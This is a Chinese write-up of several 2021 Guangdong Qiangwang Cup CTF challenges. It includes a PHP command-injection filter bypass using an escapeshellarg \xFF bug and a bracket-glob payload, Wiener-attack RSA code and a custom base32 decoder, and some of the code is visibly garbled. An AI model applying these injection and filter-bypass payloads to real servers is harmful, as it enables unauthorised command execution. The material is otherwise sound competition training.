2021 广东省强网杯部分 WriteUp

admin 2022年4月13日23:05:25评论80 views字数 8529阅读28分25秒阅读模式

WEB

love_Pokemon

题目直接给了源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
    mkdir($dir);
}

function DefenderBonus($Pokemon){
    if(preg_match("/'| |_|\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\|p|h|u|v|\+|\^|`|~|||"|<|>|=|{|}|!|&|*|?|(|)/i",$Pokemon)){
        die('catch broken Pokemon! mew-_-two');
    }
    else{
        return $Pokemon;
    }

}

function ghostpokemon($Pokemon){
    if(is_array($Pokemon)){
        foreach ($Pokemon as $key => $pks) {
            $Pokemon[$key] = DefenderBonus($pks);
        }
    }
    else{
        $Pokemon = DefenderBonus($Pokemon);
    }
}

switch($_POST['myfavorite'] ?? ""){
    case 'picacu!':
        echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'bulbasaur!':
        echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
        $level = $_POST["levelup"] ?? "";
    if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
            echo file_get_contents('./hint.php');
        }
        break;
    case 'squirtle':
        echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'mewtwo':
        $dream = $_POST["dream"] ?? "";
        if(strlen($dream)>=20){
            die("So Big Pokenmon!");
        }
        ghostpokemon($dream);
        echo shell_exec($dream);
}

?>

恶心人的题。首先需要绕过这里去查看一下 hint:

if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
    echo file_get_contents('./hint.php');
}

需要让 $level 匹配不到 'lv100' 但是经过 escapeshellarg 函数处理之后匹配到 'lv100'。在网上找到一个 escapeshellarg 函数 bug:

  • https://bugs.php.net/bug.php?id=80731
2021 广东省强网杯部分 WriteUp
image-20211013175945600

个 escapeshellarg 函数在linux上会某某的删除 "xFF",所以这样我们便可以绕过了:

POST: myfavorite=bulbasaur!&levelup=lv1%ff00
2021 广东省强网杯部分 WriteUp
image-20211013180204688

得到一个一点用也没有的hint。。。。。。

然后在绕过以下这部分就可以执行命令了:

function DefenderBonus($Pokemon){
    if(preg_match("/'| |_|\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\|p|h|u|v|\+|\^|`|~|||"|<|>|=|{|}|!|&|*|?|(|)/i",$Pokemon)){
        die('catch broken Pokemon! mew-_-two');
    }
    else{
        return $Pokemon;
    }

}

真的是过滤的死死地,啥玩意都过滤了,字母都给过滤了。能读文件的命令只剩下 od 了。od可以以八进制格式查看文件。并且,题目中过滤了*?,所以常见的通配符匹配flag的方式不能用了。但是源码中没有过滤 [],linux依然支持使用[...]的方法来匹配,比如[@-Z]表示匹配 @到Z之前的字符,那我们便可以使用这个来绕过对 flag 的过滤了。最后的payload如下:

POST: myfavorite=mewtwo&dream=od%09/F[C-Z][@-Z]G
# 使用%09来绕过空格
2021 广东省强网杯部分 WriteUp
image-20211013181452289

RE

题名忘了叫啥

签到题

前半段11*5的地图,wasd上下左右

2021 广东省强网杯部分 WriteUp
img

后半段 SMC,base64换表

2021 广东省强网杯部分 WriteUp
QQ图片20211015164034

MISC

泄露的秘密

手撕,根据102和111,第一位f,第二位l

2021 广东省强网杯部分 WriteUp
Snipaste_2021-10-13_16-35-12

.....

最后}

2021 广东省强网杯部分 WriteUp
Snipaste_2021-10-13_16-35-43

flag{Log_analysis_SQL}

Zip_Revenge

爆破,得到521314

很明显发现一个时间差距很大的,继续爆破

2021 广东省强网杯部分 WriteUp
image-20211013165553591
2021 广东省强网杯部分 WriteUp
image-20211013165659536
2021 广东省强网杯部分 WriteUp
image-20211013165733372
2021 广东省强网杯部分 WriteUp
image-20211013165807919

CRYPTO

RSA and BASE?

def rational_to_contfrac (x, y):
    ''' 
    Converts a rational x/y fraction into
    a list of partial quotients [a0, ..., an] 
    '''

    a = x//y
    if a * y == x:
        return [a]
    else:
        pquotients = rational_to_contfrac(y, x - a * y)
        pquotients.insert(0, a)
        return pquotients
def convergents_from_contfrac(frac):    
    '''
    computes the list of convergents
    using the list of partial quotients 
    '''

    convs = [];
    for i in range(len(frac)):
        convs.append(contfrac_to_rational(frac[0:i]))
    return convs

def contfrac_to_rational (frac):
    '''Converts a finite continued fraction [a0, ..., an]
     to an x/y rational.
     '''

    if len(frac) == 0:
        return (0,1)
    elif len(frac) == 1:
        return (frac[0], 1)
    else:
        remainder = frac[1:len(frac)]
        (num, denom) = contfrac_to_rational(remainder)
        # fraction is now frac[0] + 1/(num/denom), which is 
        # frac[0] + denom/num.
        return (frac[0] * num + denom, num)

def egcd(a,b):
    '''
    Extended Euclidean Algorithm
    returns x, y, gcd(a,b) such that ax + by = gcd(a,b)
    '''

    u, u1 = 10
    v, v1 = 01
    while b:
        q = a // b
        u, u1 = u1, u - q * u1
        v, v1 = v1, v - q * v1
        a, b = b, a - q * b
    return u, v, a

def gcd(a,b):
    '''
    2.8 times faster than egcd(a,b)[2]
    '''

    a,b=(b,a) if a<b else (a,b)
    while b:
        a,b=b,a%b
    return a

def modInverse(e,n):
    '''
    d such that de = 1 (mod n)
    e must be coprime to n
    this is assumed to be true
    '''

    return egcd(e,n)[0]%n

def totient(p,q):
    '''
    Calculates the totient of pq
    '''

    return (p-1)*(q-1)

def bitlength(x):
    '''
    Calculates the bitlength of x
    '''

    assert x >= 0
    n = 0
    while x > 0:
        n = n+1
        x = x>>1
    return n


def isqrt(n):
    '''
    Calculates the integer square root
    for arbitrary large nonnegative integers
    '''

    if n < 0:
        raise ValueError('square root not defined for negative numbers')

    if n == 0:
        return 0
    a, b = divmod(bitlength(n), 2)
    x = 2**(a+b)
    while True:
        y = (x + n//x)//2
        if y >= x:
            return x
        x = y


def is_perfect_square(n):
    '''
    If n is a perfect square it returns sqrt(n),

    otherwise returns -1
    '''

    h = n & 0xF#last hexadecimal "digit"
    
    if h > 9:
        return -1 # return immediately in 6 cases out of 16.
    
    # Take advantage of Boolean short-circuit evaluation
    if ( h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8 ):
        # take square root if you must
        t = isqrt(n)
        if t*t == n:
            return t
        else:
            return -1
    
    return -1

def hack_RSA(e,n):
    frac = rational_to_contfrac(e, n)
    convergents = convergents_from_contfrac(frac)

    for (k,d) in convergents:
        #check if d is actually the key
        if k!=0 and (e*d-1)%k == 0:
            phi = (e*d-1)//k
            s = n - phi + 1
            # check if the equation x^2 - s*x + n = 0
            # has integer roots
            discr = s*s - 4*n
            if(discr>=0):
                t = is_perfect_square(discr)
                if t!=-1 and (s+t)%2==0:
                    print("nHacked!")
                    return d

def main():
    n=56661243519426563299920058134092862370737397949947210394843021856477420959615132553610830104961645574615005956183703191006421508461009698780382360943562001485153455401650697532951591191737164547520951628336941289873198979641173541232117518791706826699650307105202062429672725308809988269372149027026719779368169
e=36269788044703267426177340992826172140174404390577736281478891381612294207666891529019937732720246602062358244751177942289155662197410594434293004130952671354973700999803850153697545606312859272554835232089533366743867361181786472126124169787094837977468259794816050397735724313560434944684790818009385459207329
    d=hack_RSA(e,n)
    print ("d=")
    print (d)

if __name__ == '__main__':
    main()

d=162629853458911971486680889045849898679792335644886630492453366486865526390781

import binascii
import gmpy2

n=56661243519426563299920058134092862370737397949947210394843021856477420959615132553610830104961645574615005956183703191006421508461009698780382360943562001485153455401650697532951591191737164547520951628336941289873198979641173541232117518791706826699650307105202062429672725308809988269372149027026719779368169
c=137954301101369152742229874240507191901061563449586247819350394387527789763579249250710679911626270895090455502283455665178389917777053863730286065809459077858674885530015624798882224173066151402222862023045940035652321621761390317038440821354117827990307003831352154618952447402389360183594248381165728338233
d=162629853458911971486680889045849898679792335644886630492453366486865526390781
m=pow(c,d,n)
print(hex(m))
print(binascii.unhexlify(hex(m)[2:].strip("L")))

b'flag{TCMDIEOH2MJFBLKHT2J7BLYZ2WUE5NYR2HNG====}'

# STANDARD_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'

# for i in range(len(STANDARD_ALPHABET)):

#     if  STANDARD_ALPHABET[i] not in key:

#         print STANDARD_ALPHABET[i]

dic = "TYZ2"

import string
import base64
import itertools
def b32decode(input,CUSTOM_ALPHABET):
    STANDARD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
    ENCODE_TRANS = string.maketrans(STANDARD_ALPHABET,CUSTOM_ALPHABET)
    DECODE_TRANS = string.maketrans(CUSTOM_ALPHABET,STANDARD_ALPHABET)
    return base64.b32decode(input.translate(DECODE_TRANS))

for a in dic:
    dic2 = dic.strip(a)
    for b in dic2:
        dic3 = dic2.strip(b)
        for c in dic:
            dic4 = dic3.strip(a)
            for d in dic2:
                dic5 = dic4.strip(b)
                tmp = "GHI45FQRSCX"+a+b+c+d+"UVWJK67DELMNOPAB3"
                flag = b32decode("TCMDIEOH2MJFBLKHT2J7BLYZ2WUE5NYR2HNG====",tmp)
                if flag.startswith("rsa_and_base_al"):
                    print flag

# flag{rsa_and_base_all_right}


原文始发于微信公众号(山警网络空间安全实验室):2021 广东省强网杯部分 WriteUp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月13日23:05:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2021 广东省强网杯部分 WriteUphttp://cn-sec.com/archives/584105.html

发表评论

匿名网友 填写信息